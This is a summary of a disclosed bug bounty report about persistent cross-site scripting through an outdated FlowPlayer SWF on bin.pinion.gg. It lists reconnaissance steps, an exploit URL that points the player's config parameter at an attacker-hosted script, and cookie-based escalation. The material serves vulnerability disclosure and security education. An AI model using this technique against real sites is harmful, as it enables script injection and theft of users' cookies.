# Persistent XSS found on bin.pinion.gg due to outdated FlowPlayer SWF file with Remote File Inclusion vulnerability.

Outdated FlowPlayer SWF on bin.pinion.gg loads attacker-controlled config JS via config param, executing arbitrary JS in subdomain context.

- Payout: hidden
- Severity: low
- Program: Unikrn
- Found by: sp1d3rs
- Disclosed: 2017-10-05
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/254269
- Library page: https://bugbountylibrary.com/r/h1%3A254269
- Tags: area:web domain:web impact:integrity kind:bounty platform:hackerone sev:low technique:recon technique:source-review vuln:xss

**Target:** FlowPlayer commercial 3.2.15 SWF hosted on bin.pinion.gg
**Root cause:** Outdated FlowPlayer SWF accepts a remote `config` URL and evaluates JS callbacks from it, plus loads plugin SWFs that call ExternalInterface, allowing arbitrary JS execution in the hosting origin.
**Steps:**
1. Recon out-of-scope *.pinion.gg subdomains; find http://templ4d2.pinion.gg/motd2.manifest listing http://bin.pinion.gg/bin/flowplayer.commercial-3.2.15.swf
2. Identify the SWF as outdated FlowPlayer vulnerable to config-based RFI/XSS
3. Host a malicious test.js with FlowPlayer config containing `onLoad`/`onStart` JS callbacks and a `plugins.controls.url` pointing to a crafted xss.swf that calls ExternalInterface
4. Visit `http://bin.pinion.gg/bin/flowplayer.commercial-3.2.15.swf?config=http://attacker/test.js`
5. Observe popups with document.cookie/document.domain, confirming JS execution in bin.pinion.gg origin
**How found:** Recon on out-of-scope subdomains surfaced a cache manifest listing a FlowPlayer SWF; prior experience with this file's RFI/XSS issues led to testing the config parameter.
**Exploitation:** Attacker hosts a FlowPlayer config JS and a crafted SWF; victim visiting the SWF URL with `config=` pointing to attacker host causes the player to load the remote config and plugin SWF, executing arbitrary JS in the bin.pinion.gg origin for defacement, open redirect, or cross-domain cookie setting.
**Escalation:** Cookie set on bin.pinion.gg could target parent pinion.gg or cp-ng.pinion.gg; if the SWF is embedded elsewhere, those instances inherit XSS.
**Insight:** Cache manifests and other static config files on forgotten subdomains enumerate legacy SWF/JS assets worth testing; old FlowPlayer SWFs accept remote `config` URLs and plugin SWFs, giving XSS on the hosting origin.